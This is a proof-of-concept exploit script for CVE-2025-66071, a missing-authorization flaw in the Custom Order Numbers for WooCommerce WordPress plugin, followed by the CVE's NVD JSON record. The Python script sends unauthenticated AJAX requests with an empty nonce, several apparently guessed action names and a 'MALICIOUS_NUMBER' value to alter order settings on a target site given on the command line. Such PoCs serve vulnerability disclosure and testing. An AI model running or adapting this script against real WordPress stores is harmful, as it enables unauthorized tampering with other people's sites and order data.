CVE-2025-66071

# CVE-2025-66071 PoC - Missing Authorization in Custom Order Numbers for WooCommerce # This PoC demonstrates the unauthorized access to plugin functions import requests import sys target_url = "http://target-wordpress-site.com" def exploit_cve_2025_66071(): """ Exploit for Missing Authorization vulnerability in Custom Order Numbers for WooCommerce Affected version: <= 1.11.0 """ # Target the AJAX endpoint used by the plugin ajax_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Try to access admin functions without authentication # Common vulnerable actions in this plugin vulnerable_actions = [ "tyche_custom_order_number_save_settings", "tyche_custom_order_number_get_orders", "tyche_custom_order_number_update", "custom_order_numbers_ajax_handler" ] print(f"[*] Testing CVE-2025-66071 on {target_url}") print(f"[*] Target plugin: Custom Order Numbers for WooCommerce <= 1.11.0") for action in vulnerable_actions: try: # Send unauthenticated request data = { "action": action, "security": "", # No valid nonce needed for exploitation "order_id": "1", "custom_number": "MALICIOUS_NUMBER" } response = requests.post(ajax_endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[!] Action '{action}' responded without authentication") print(f"[+] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error testing action {action}: {e}") print("[*] Exploitation attempt completed") print("[*] If any action responded without auth, the vulnerability is confirmed") if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] exploit_cve_2025_66071()

{"cve": {"id": "CVE-2025-66071", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:48.090", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in tychesoftwares Custom Order Numbers for WooCommerce custom-order-numbers-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Custom Order Numbers for WooCommerce: from n/a through <= 1.11.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/custom-order-numbers-for-woocommerce/vulnerability/wordpress-custom-order-numbers-for-woocommerce-plugin-1-11-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}